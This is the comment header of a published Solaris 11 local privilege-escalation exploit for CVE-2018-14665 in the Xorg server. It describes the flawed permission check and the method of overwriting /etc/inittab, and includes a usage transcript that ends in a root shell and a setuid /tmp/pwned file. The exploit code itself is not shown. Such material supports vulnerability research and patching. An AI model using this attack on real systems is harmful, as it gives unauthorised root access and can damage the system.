# Exploit Title: xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris11 inittab)
# Date: 2018-11-25
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.x.org/
# Version: xorg-x11-server 1.19.0 - 1.20.2
# Tested on: Oracle Solaris 11.4
# CVE : CVE-2018-14665
#
# raptor_solgasm - xorg-x11-server LPE via Solaris inittab
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission
# check for -modulepath and -logfile options when starting Xorg. X server
# allows unprivileged users with the ability to log in to the system via
# physical console to escalate their privileges and run arbitrary code under
# root privileges (CVE-2018-14665).
#
# "In video games, this is what they call respawning" -- Nick Sax
#
# This exploit targets /etc/inittab in order to escalate privileges to root
# on Solaris 11 (no need to be connected to a physical console). Messing with
# inittab is considerably dangerous and you may trash your system, however the
# other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't
# work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING!

#
# Usage:
# raptor@stalker:~$ chmod +x raptor_solgasm
# raptor@stalker:~$ ./raptor_solgasm
# [...]
# Now please be patient for a few minutes...
# [...]
# To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab
# -rw-r--r-- 1 root staff 13870 nov 24 22:01 /etc/inittab
# -rw-r--r-- 1 root sys 967 nov 24 20:01 /etc/inittab.old
# -rwsrwxrwx 1 root root 1249080 nov 24 22:05 /tmp/pwned
# root@stalker:/etc# id
# uid=0(root) gid=0(root)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5]
# Oracle Solaris 11 SPARC [untested]
